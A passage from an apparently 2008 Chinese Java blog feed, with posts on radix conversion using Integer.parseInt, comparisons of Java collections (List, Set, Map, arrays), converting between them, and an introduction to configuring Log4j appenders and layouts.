&nbsp;&nbsp;&nbsp; String&nbsp;&nbsp;&nbsp; Hex&nbsp;&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; "F";&nbsp;&nbsp;&nbsp; //十六进制<br />
&nbsp;&nbsp;&nbsp; System.out.println(Integer.parseInt(binary,2));&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; System.out.println(Integer.parseInt(Octal,8));&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; System.out.println(Integer.parseInt(Hex,16));&nbsp;&nbsp; //parseInt有两个参数,第一个为要转的字符串,第二个为说明是什么进制.&nbsp;&nbsp;&nbsp;<br />
<br />
String str = new String("FA 6B F5 9C 07 04 77 BB 10 04 08 00 0C 02 03 01 27 07");<br />
&nbsp;&nbsp;String dd[] = str.split(" ");<br />
&nbsp;&nbsp;int xx[] = new int[dd.length];<br />
&nbsp;&nbsp;for(int i=0;i&lt;dd.length;i++)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;xx[i] = Integer.parseInt(dd[i],16);<br />
&nbsp;&nbsp;&nbsp;System.out.print(xx[i] + " ");<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
}<br />
}<br />
<br />
<br />
<br />
结果:250 107 245 156 7 4 119 187 16 4 8 0 12 2 3 1 39 7 </p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/186224.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-03-14 11:16 <a href="http://www.blogjava.net/WshmAndLily/articles/186224.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>数组 Collection List Set Map的比较</title><link>http://www.blogjava.net/WshmAndLily/articles/183278.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sun, 02 Mar 2008 09:50:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/183278.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/183278.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/183278.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/183278.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/183278.html</trackback:ping><description><![CDATA[<p><font size="2">数组<br />
数组和其它容器的区别主要有三方面:效率,类型,和保存基本类型的能力.在Java中,数组是一种效率很高的存储和随机访问对象引用序列的方式.数组是一个简单的线性序列,因此访问速度很快,但也损失了其它一些特性.创建一个数组对象后,大小就固定了,如果空间不够,通常是再创建一个数组,然后把旧数组中的所有引用移到新数组中.数组可可以保存基本类型,容器不行.<br />
容器类不以具体的类型来处理对象,而是将所有的对象都以Object类型来处理,所以我们可以只创建一个容器,任意的Java对象都可以放进去.容器类可以使用包装类(Integer,Double等),以便把基本类型放入其中. List Set Map 都可以自动调整容量,数组不能.<br />
<br />
Collection表示一组对象，这些对象也称为collection的元素。一些 collection允许有重复的元素，而另一些则不允许。一些collection是有序的，而另一些则是无序的。JDK中不提供此接口的任何直接实现,它提供更具体的子接口（如 Set 和 List）实现.<br />
<br />
Map 将键映射到值的对象。一个映射不能包含重复的键；每个键最多只能映射一个值.Map 接口提供三种collection视图，允许以键集、值集合或键值映射关系集的形式查看某个映射的内容。某些映射实现可明确保证其顺序，如 TreeMap(有序) 类；某些映射实现则不保证顺序，如 HashMap(无序) 类。Map可以像数组那样扩展成多维数组,只要把每个值也做成一个Map就行了.<br />
<br />
Collection和Map是Java容器中的两种基本类型. 区别在于容器中每个位置保存的元素个数.Collection每个位置只能保存一个元素,包括List和Set.其中List以进入的顺序保存一组元素; 而Set中的元素不能重复.ArrayList是一种List,HashSet是一种Set,将元素添加入任意Collection都可以使用add() 方法.Map保存的是健值对.使用put()为Map添加元素,它需要一个健和一个值作参数.<br />
<br />
ArrayList和LinkedList都实现了List接口,ArrayList底层由数组支持LinkedList由双向链表支持,因此,如果经常在表中插入或删除元素LinkedList比较适合,如果经常查询ArrayList比较适合.<br />
Set的实现有TreeSet,HashSet,LinkedHashSet,HashSet查询速度最快,LinkedHashSet保持元素插入次序,TreeSet基于TreeMap,生成一个总是处于排序状态的Set.</font></p>
<p><font size="2"></font></p>
<p><font size="2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="font-size: 9pt; color: #000066"><span>&nbsp;&nbsp;&nbsp;</span></span><strong><span style="font-size: 9pt">Collection&lt;--List&lt;--Vector</span><strong><span style="font-size: 9pt"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Collection&lt;--List&lt;--ArrayList</span><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Collection&lt;--List&lt;--LinkedList</span><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Collection&lt;--Set&lt;--HashSet</span><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Collection&lt;--Set&lt;--HashSet&lt;--LinkedHashSet</span><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Collection&lt;--Set&lt;--SortedSet&lt;--TreeSet</span><br />
</span></strong><span style="font-size: 10pt; color: #000066"><br />
</span><span style="font-size: 10pt">Vector : </span><span style="font-size: 10pt">基于</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">的</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">，其实就是封装了</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">所不具备的一些功能方便我们使用，它不可能走入</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">的限制。性能也就不可能超越</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">。所以，在可能的情况下，我们要多运用</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">。另外很重要的一点就是</span><span style="font-size: 10pt">Vector&#8220;sychronized&#8221;</span><span style="font-size: 10pt">的，这个也是</span><span style="font-size: 10pt">Vector</span><span style="font-size: 10pt">和</span><span style="font-size: 10pt">ArrayList</span><span style="font-size: 10pt">的唯一的区别。</span><span style="font-size: 10pt"><br />
<br />
ArrayList</span><span style="font-size: 10pt">：同</span><span style="font-size: 10pt">Vector</span><span style="font-size: 10pt">一样是一个基于</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">上的链表，但是不同的是</span><span style="font-size: 10pt">ArrayList</span><span style="font-size: 10pt">不是同步的。所以在性能上要比</span><span style="font-size: 10pt">Vector</span><span style="font-size: 10pt">优越一些，但是当运行到多线程环境中时，可需要自己在管理线程的同步问题。</span><span style="font-size: 10pt"><br />
<br />
LinkedList</span><span style="font-size: 10pt">：</span><span style="font-size: 10pt">LinkedList</span><span style="font-size: 10pt">不同于前面两种</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">，它不是基于</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">的，所以不受</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">性能的限制。它每一个节点（</span><span style="font-size: 10pt">Node</span><span style="font-size: 10pt">）都包含两方面的内容：</span><span style="font-size: 10pt">1.</span><span style="font-size: 10pt">节点本身的数据（</span><span style="font-size: 10pt">data</span><span style="font-size: 10pt">）；</span><span style="font-size: 10pt">2.</span><span style="font-size: 10pt">下一个节点的信息（</span><span style="font-size: 10pt">nextNode</span><span style="font-size: 10pt">）。所以当对</span><span style="font-size: 10pt">LinkedList</span><span style="font-size: 10pt">做添加，删除动作的时候就不用像基于</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">的</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">一样，必须进行大量的数据移动。只要更改</span><span style="font-size: 10pt">nextNode</span><span style="font-size: 10pt">的相关信息就可以实现了。这就是</span><span style="font-size: 10pt">LinkedList</span><span style="font-size: 10pt">的优势。</span><span style="font-size: 10pt"><br />
<br />
List</span><span style="font-size: 10pt">总结：</span><span style="font-size: 10pt"><br />
<br />
1. </span><span style="font-size: 10pt">所有的</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">中只能容纳单个不同类型的对象组成的表，而不是</span><span style="font-size: 10pt">Key</span><span style="font-size: 10pt">－</span><span style="font-size: 10pt">Value</span><span style="font-size: 10pt">键值对。例如：</span><span style="font-size: 10pt">[ tom,1,c ]</span><span style="font-size: 10pt">；</span><span style="font-size: 10pt"><br />
<br />
2. </span><span style="font-size: 10pt">所有的</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">中可以有相同的元素，例如</span><span style="font-size: 10pt">Vector</span><span style="font-size: 10pt">中可以有</span><span style="font-size: 10pt"> [ tom,koo,too,koo ]</span><span style="font-size: 10pt">；</span><span style="font-size: 10pt"><br />
<br />
3. </span><span style="font-size: 10pt">所有的</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">中可以有</span><span style="font-size: 10pt">null</span><span style="font-size: 10pt">元素，例如</span><span style="font-size: 10pt">[ tom,null,1 ]</span><span style="font-size: 10pt">；</span><span style="font-size: 10pt"><br />
<br />
4. </span><span style="font-size: 10pt">基于</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">的</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">（</span><span style="font-size: 10pt">Vector</span><span style="font-size: 10pt">，</span><span style="font-size: 10pt">ArrayList</span><span style="font-size: 10pt">）适合查询，而</span><span style="font-size: 10pt">LinkedList</span><span style="font-size: 10pt">（链表）适合添加，删除操作。</span><span style="font-size: 10pt"><br />
<br />
HashSet</span><span style="font-size: 10pt">：虽然</span><span style="font-size: 10pt">Set</span><span style="font-size: 10pt">同</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">都实现了</span><span style="font-size: 10pt">Collection</span><span style="font-size: 10pt">接口，但是他们的实现方式却大不一样。</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">基本上都是以</span><span style="font-size: 10pt">Array</span><span style="font-size: 10pt">为基础。但是</span><span style="font-size: 10pt">Set</span><span style="font-size: 10pt">则是在</span><span style="font-size: 10pt">HashMap</span><span style="font-size: 10pt">的基础上来实现的，这个就是</span><span style="font-size: 10pt">Set</span><span style="font-size: 10pt">和</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">的根本区别。</span><span style="font-size: 10pt">HashSet</span><span style="font-size: 10pt">的存储方式是把</span><span style="font-size: 10pt">HashMap</span><span style="font-size: 10pt">中的</span><span style="font-size: 10pt">Key</span><span style="font-size: 10pt">作为</span><span style="font-size: 10pt">Set</span><span style="font-size: 10pt">的对应存储项。看看</span><span style="font-size: 10pt">HashSet</span><span style="font-size: 10pt">的</span><span style="font-size: 10pt">add</span><span style="font-size: 10pt">（</span><span style="font-size: 10pt">Object&nbsp;&nbsp; obj</span><span style="font-size: 10pt">）方法的实现就可以一目了然了。</span><span style="font-size: 10pt"><br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; public boolean add(Object obj)<br />
&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return map.put(obj, PRESENT) == null;<br />
&nbsp;&nbsp;&nbsp;&nbsp; }<br />
<br />
</span><span style="font-size: 10pt">这个也是为什么在</span><span style="font-size: 10pt">Set</span><span style="font-size: 10pt">中不能像在</span><span style="font-size: 10pt">List</span><span style="font-size: 10pt">中一样有重复的项的根本原因，因为</span><span style="font-size: 10pt">HashMap</span><span style="font-size: 10pt">的</span><span style="font-size: 10pt">key</span><span style="font-size: 10pt">是不能有重复的。</span><span style="font-size: 10pt"><br />
<br />
LinkedHashSet</span><span style="font-size: 10pt">：</span><span style="font-size: 10pt">HashSet</span><span style="font-size: 10pt">的一个子类，一个链表。</span><span style="font-size: 10pt"><br />
<br />
TreeSet</span><span style="font-size: 10pt">：</span><span style="font-size: 10pt">SortedSet</span><span style="font-size: 10pt">的子类，它不同于</span><span style="font-size: 10pt">HashSet</span><span style="font-size: 10pt">的根本就是</span><span style="font-size: 10pt">TreeSet</span><span style="font-size: 10pt">是有序的。它是通过</span><span style="font-size: 10pt">SortedMap</span><span style="font-size: 10pt">来实现的。</span><span style="font-size: 10pt"><br />
<br />
Set</span><span style="font-size: 10pt">总结：</span><span style="font-size: 10pt"><br />
<br />
1. Set</span><span style="font-size: 10pt">实现的基础是</span><span style="font-size: 10pt">Map</span><span style="font-size: 10pt">（</span><span style="font-size: 10pt">HashMap</span><span style="font-size: 10pt">）；</span><span style="font-size: 10pt"><br />
<br />
2.&nbsp;&nbsp; Set</span><span style="font-size: 10pt">中的元素是不能重复的，如果使用</span><span style="font-size: 10pt">add(Object obj)</span><span style="font-size: 10pt">方法添加已经存在的对象，则会覆盖前面的对象；</span></strong></font></p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/183278.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-03-02 17:50 <a href="http://www.blogjava.net/WshmAndLily/articles/183278.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>List、Set、数组之间的转换</title><link>http://www.blogjava.net/WshmAndLily/articles/183277.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sun, 02 Mar 2008 09:48:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/183277.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/183277.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/183277.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/183277.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/183277.html</trackback:ping><description><![CDATA[<p>★ <strong>数组转Collection</strong></p>
<p>使用Apache Jakarta Commons Collections：</p>
<div class="dp-highlighter">
<div class="bar"></div>
<ol class="dp-j">
    <li class="alt"><span><span class="keyword">import</span><span> org.apache.commons.collections.CollectionUtils; &nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;</span>
    <li class="alt"><span>String[] strArray = {</span><span class="string">"aaa"</span><span>, </span><span class="string">"bbb"</span><span>, </span><span class="string">"ccc"</span><span>}; &nbsp;&nbsp;</span>
    <li><span>List strList = </span><span class="keyword">new</span><span> ArrayList(); &nbsp;&nbsp;</span>
    <li class="alt"><span>Set strSet = </span><span class="keyword">new</span><span> HashSet(); &nbsp;&nbsp;</span>
    <li><span>CollectionUtils.addAll(strList, strArray); &nbsp;&nbsp;</span>
    <li class="alt"><span>CollectionUtils.addAll(strSet, strArray);&nbsp;&nbsp;</span> </li>
</ol>
</div>
<p>CollectionUtils.addAll()方法的实现很简单，只是循环使用了Collection的add()方法而已。</p>
<p>如果只是想将数组转换成List，可以用JDK中的java.util.Arrays类：</p>
<div class="dp-highlighter">
<div class="bar"></div>
<ol class="dp-j">
    <li class="alt"><span><span class="keyword">import</span><span> java.util.Arrays; &nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;</span>
    <li class="alt"><span>String[] strArray = {</span><span class="string">"aaa"</span><span>, </span><span class="string">"bbb"</span><span>, </span><span class="string">"ccc"</span><span>}; &nbsp;&nbsp;</span>
    <li><span>List strList = Arrays.asList(strArray);&nbsp;&nbsp;</span> </li>
</ol>
</div>
<p>不过Arrays.asList()方法返回的List不能add对象，因为该方法的实现是使用参数引用的数组的大小来new的一个ArrayList。</p>
<p>&nbsp;</p>
<p>★ <strong>Collection转数组</strong></p>
<p>直接使用Collection的toArray()方法，该方法有两个重载版本：</p>
<div class="dp-highlighter">
<ol class="dp-j">
    <li class="alt"><span><span>Object[] toArray(); &nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;</span>
    <li class="alt"><span><t></t>T[] toArray(T[] a);&nbsp;&nbsp;</span> </li>
</ol>
</div>
<p>&nbsp;</p>
<p>★ <strong>Map转Collection</strong></p>
<p>直接使用Map的values()方法。</p>
<p>&nbsp;</p>
<p>★ <strong>List和Set转换</strong></p>
<div class="newscon">
<p>List list = new ArrayList(new Hashset());// Fixed-size list <br />
List list = Arrays.asList(array);// Growable <br />
list list = new LinkedList(Arrays.asList(array));// Duplicate elements are discarded <br />
Set set = new HashSet(Arrays.asList(array));</p>
</div>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/183277.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-03-02 17:48 <a href="http://www.blogjava.net/WshmAndLily/articles/183277.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Log4j简介</title><link>http://www.blogjava.net/WshmAndLily/articles/179612.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Mon, 11 Feb 2008 08:22:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/179612.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/179612.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/179612.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/179612.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/179612.html</trackback:ping><description><![CDATA[<h1><font color="#008000"><font size="+0"><font size="+0">第1章.</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font size="+0">Log4j </font></font><font size="+0">的优点</font></font></h1>
<br />
<font size="+0">Log4j</font>是<font size="+0">Apache</font>的一个开放源代码项目，通过使用<font size="+0">Log4j</font>，我们可以控制日志信息输送的；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是，这些可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。 <br />
<font size="+0">log4j</font>的好处在于： <br />
<font size="+0">1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font>通过修改配置文件，就可以决定<font size="+0">log</font>信息的目的地——控制台、文件、<font size="+0">GUI</font>组件、甚至是套接口服务器、<font size="+0">NT</font>的事件记录器、<font size="+0">UNIX Syslog</font>守护进程等 <br />
<font size="+0">2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font>通过修改配置文件，可以定义每一条日志信息的级别，从而控制是否输出。在系统开发阶段可以打印详细的<font size="+0">log</font>信息以跟踪系统运行情况<font size="+0">,</font>而在系统稳定后可以关闭<font size="+0">log</font>输出<font size="+0">,</font>从而在能跟踪系统运行情况的同时<font size="+0">,</font>又减少了垃圾代码（<font size="+0">System.out.println(</font>......<font size="+0">)</font>等<font size="+0">)</font>。 <br />
<font size="+0">3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font>使用<font size="+0">log4j</font>，需要整个系统有一个统一的<font size="+0">log</font>机制，有利于系统的规划。 <br />
<h1><font color="#008000"><font size="+0"><font size="+0">第2章.</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font size="+0">配置文件</font></font></h1>
<br />
<font size="+0">Log4j</font>由三个重要的组件构成：日志信息的优先级，日志信息的输出目的地，日志信息的输出格式。日志信息的优先级从高到低有<font size="+0">FATAL</font>、<font size="+0">ERROR</font>、<font size="+0">WARN</font>、<font size="+0">INFO</font>、<font size="+0">DEBUG</font>，分别用来指定这条日志信息的重要程度；日志信息的输出目的地指定了日志将打印到控制台还是文件中；而输出格式则控制了日志信息的显示内容。
<h2><font size="+0">2.1.</font>&nbsp;&nbsp;&nbsp; 日志信息的优先级</h2>
<br />
分为<font size="+0">OFF</font>、<font size="+0">FATAL</font>、<font size="+0">ERROR</font>、<font size="+0">WARN</font>、<font size="+0">INFO</font>、<font size="+0">DEBUG</font>、<font size="+0">ALL</font>或者您定义的级别。 <br />
<font size="+0">Log4j</font>建议只使用四个级别，优先级从高到低分别是<font size="+0">ERROR</font>、<font size="+0">WARN</font>、<font size="+0">INFO</font>、<font size="+0">DEBUG</font>。通过在这里定义的级别，您可以控制到应用程序中相应级别的日志信息的开关。 <br />
假如在一个级别为<font size="+0">q</font>的<font size="+0">Logger</font>中发生一个级别为<font size="+0">p</font>的日志请求，如果<font size="+0">p&gt;=q,</font>那么请求将被启用。这是<font size="+0">Log4j</font>的核心原则。 <br />
比如在这里定义了<font size="+0">INFO</font>级别，则应用程序中所有<font size="+0">DEBUG</font>级别的日志信息将不被打印出来； <br />
<h2><font size="+0">2.2.</font>&nbsp;&nbsp;&nbsp; 输出源的使用</h2>
<br />
有选择的能用或者禁用日志请求仅仅是<font size="+0">Log4j</font>的一部分功能。<font size="+0">Log4j</font>允许日志请求被输出到多个输出源。用<font size="+0">Log4j</font>的话说，一个输出源被称做一个<font size="+0">Appender</font>。 <br />
<font size="+0">Appender</font>包括<font size="+0">console</font>（控制台）<font size="+0">, files</font>（文件）<font size="+0">, GUI components</font>（图形的组件）<font size="+0">, remote socket servers</font>（<font size="+0">socket </font>服务）<font size="+0">, JMS</font>（<font size="+0">java</font>信息服务）<font size="+0">, NT Event Loggers</font>（<font size="+0">NT</font>的事件日志）<font size="+0">, and remote UNIX Syslog daemons</font>（远程<font size="+0">UNIX</font>的后台日志服务）。它也可以做到异步记录。 <br />
一个<font size="+0">logger</font>可以设置超过一个的<font size="+0">appender</font>。 <br />
用<font size="+0">addAppender </font>方法添加一个<font size="+0">appender</font>到一个给定的<font size="+0">logger</font>。对于一个给定的<font size="+0">logger</font>它每个生效的日志请求都被转发到该<font size="+0">logger</font>所有的<font size="+0">appender</font>上和该<font size="+0">logger</font>的父辈<font size="+0">logger</font>的<font size="+0">appender</font>上。
<h3><font size="+0"><font size="+0">2.2.1.</font>&nbsp;&nbsp;<font size="+0">ConsoleAppender</font></font></h3>
<br />
如果使用<font size="+0">ConsoleAppender</font>，那么<font size="+0">log</font>信息将写到<font size="+0">Console</font>。效果等同于直接把信息打印到<font size="+0">System.out</font>上了。
<h3><font size="+0"><font size="+0">2.2.2.</font>&nbsp;&nbsp;<font size="+0">FileAppender</font></font></h3>
<br />
使用<font size="+0">FileAppender</font>，那么<font size="+0">log</font>信息将写到指定的文件中。这应该是比较经常使用到的情况。 <br />
相应地，在配置文件中应该指定<font size="+0">log</font>输出的文件名。如下配置指定了<font size="+0">log</font>文件名为dglog.<font size="+0">txt</font> <br />
<font size="+0">log4j.appender.A2.File=dglog.txt</font> <br />
注意将<font size="+0">A2</font>替换为具体配置中<font size="+0">Appender</font>的别名。
<h3><font size="+0"><font size="+0">2.2.3.</font>&nbsp;&nbsp;<font size="+0">DailyRollingAppender</font></font></h3>
<br />
使用<font size="+0">FileAppender</font>可以将<font size="+0">log</font>信息输出到文件中，但是如果文件太大了读起来就不方便了。这时就可以使用<font size="+0">DailyRollingAppender</font>。<font size="+0">DailyRollingAppender</font>可以把<font size="+0">Log</font>信息输出到按照日期来区分的文件中。配置文件就会每天产生一个<font size="+0">log</font>文件，每个<font size="+0">log</font>文件只记录当天的<font size="+0">log</font>信息： <br />
<font size="+0">log4j.appender.A2=org.apache.log4j.DailyRollingFileAppender</font> <br />
<font size="+0">log4j.appender.A2.file=dglog</font> <br />
<font size="+0">log4j.appender.A2.DatePattern='.'yyyy-MM-dd</font> <br />
<font size="+0">log4j.appender.A2.layout=org.apache.log4j.PatternLayout</font> <br />
<font size="+0">log4j.appender.A2.layout.ConversionPattern= %5r %-5p %c{2} - %m%n</font>
<h3><font size="+0"><font size="+0">2.2.4.</font>&nbsp;&nbsp;<font size="+0">org.apache.log4j.RollingFileAppender</font></font></h3>
<br />
文件大小到达指定尺寸的时候产生一个新的文件。 <br />
<font size="+0">log4j.appender.R=org.apache.log4j.RollingFileAppender</font> <br />
<font size="+0">log4j.appender.R.File= ../logs/dglog.log</font> <br />
<font size="+0"># Control the maximum log file size</font> <br />
<font size="+0">log4j.appender.R.MaxFileSize=100KB</font> <br />
<font size="+0"># Archive log files (one backup file here)</font> <br />
<font size="+0">log4j.appender.R.MaxBackupIndex=1</font> <br />
<font size="+0">log4j.appender.R.layout=org.apache.log4j.PatternLayout</font> <br />
<font size="+0">log4j.appender.R.layout.ConversionPattern=%p %t %c - %m%n</font> <font size="+0"><font size="+0"><br />
这个配置文件指定了输出源<font size="+0">R</font>，是一个轮转日志文件。最大的文件是<font size="+0">100KB</font>，当一个日志文件达到最大尺寸时，<font size="+0">Log4J</font>会自动把<font size="+0">example.log</font>重命名为dglog<font size="+0">.log.1</font>，然后重建一个新的<font size="+0">dglog.log</font>文件，依次轮转。 <br />
<h3><font size="+0"><font size="+0">2.2.5.</font>&nbsp;&nbsp;<font size="+0">org.apache.log4j.WriterAppender</font></font></h3>
<br />
将日志信息以流格式发送到任意指定的地方。 <br />
<font size="+0">
<h2><font size="+0">2.3.</font>&nbsp;&nbsp;<font size="+0">Layout</font>的配置</h2>
<br />
<font size="+0">Layout</font>指定了<font size="+0">log</font>信息输出的样式。
<h3><font size="+0"><font size="+0">2.3.1.</font>&nbsp;&nbsp;</font><font size="+0">布局样式</font></h3>
<br />
<font size="+0">org.apache.log4j.HTMLLayout</font>（以<font size="+0">HTML</font>表格形式布局）， <br />
<font size="+0">org.apache.log4j.PatternLayout</font>（可以灵活地指定布局模式）， <br />
<font size="+0">org.apache.log4j.SimpleLayout</font>（包含日志信息的级别和信息字符串）， <br />
<font size="+0">org.apache.log4j.TTCCLayout</font>（包含日志产生的时间、线程、类别等等信息）
<h3><font size="+0"><font size="+0">2.3.2.</font>&nbsp;&nbsp;</font><font size="+0">格式</font></h3>
<br />
<font size="+0">%m </font>输出代码中指定的消息<font size="+0"> </font><br />
<font size="+0">%p </font>输出优先级，即<font size="+0">DEBUG</font>，<font size="+0">INFO</font>，<font size="+0">WARN</font>，<font size="+0">ERROR</font>，<font size="+0">FATAL </font><br />
<font size="+0">%r </font>输出自应用启动到输出该<font size="+0">log</font>信息耗费的毫秒数<font size="+0"> </font><br />
<font size="+0">%c </font>输出所属的类目，通常就是所在类的全名<font size="+0"> </font><br />
<font size="+0">%t </font>输出产生该日志事件的线程名<font size="+0"> </font><br />
<font size="+0">%n </font>输出一个回车换行符，<font size="+0">Windows</font>平台为"<font size="+0">rn</font>"，<font size="+0">Unix</font>平台为"<font size="+0">n</font>"<font size="+0"> </font><br />
<font size="+0">%d </font>输出日志时间点的日期或时间，默认格式为<font size="+0">ISO8601</font>，也可以在其后指定格式，比如：<font size="+0">%d{yyy MMM dd HH:mm:ss,SSS}</font>，输出类似：<font size="+0">2002</font>年<font size="+0">10</font>月<font size="+0">18</font>日<font size="+0"> 22</font>：<font size="+0">10</font>：<font size="+0">28</font>，<font size="+0">921 </font><br />
<font size="+0">%l </font>输出日志事件的发生位置，包括类目名、发生的线程，以及在代码中的行数。举例：<font size="+0">Testlog4.main(Test Log4.java:10)</font> <br />
<h3><font size="+0"><font size="+0">2.3.3.</font>&nbsp;&nbsp;</font><font size="+0">例子</font></h3>
<br />
例子<font size="+0">1</font>：显示日期和<font size="+0">log</font>信息 <br />
<font size="+0">log4j.appender.A2.layout=org.apache.log4j.PatternLayout</font> <br />
<font size="+0">log4j.appender.A2.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss,SSS} %m%n</font> <br />
打印的信息是： <br />
<font size="+0">2002-11-12 11:49:42,866 SELECT * FROM Role WHERE 1=1 order by createDate desc</font> <br />
<br />
例子<font size="+0">2</font>：显示日期，<font size="+0">log</font>发生地方和<font size="+0">log</font>信息 <br />
<font size="+0">log4j.appender.A2.layout=org.apache.log4j.PatternLayout</font> <br />
<font size="+0">log4j.appender.A2.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss,SSS} %l "#" %m%n</font> <br />
<font size="+0">2002-11-12 11:51:46,313 cn.net.unet.weboa.system.dao.RoleDAO.select(RoleDAO.java:409) "#" </font><br />
<font size="+0">SELECT * FROM Role WHERE 1=1 order by createDate desc </font><br />
&nbsp;&nbsp;<br />
例子<font size="+0">3</font>：显示<font size="+0">log</font>级别<font size="+0">,</font>时间<font size="+0">,</font>调用方法<font size="+0">,log</font>信息 <br />
<font size="+0">log4j.appender.A2.layout=org.apache.log4j.PatternLayout</font> <br />
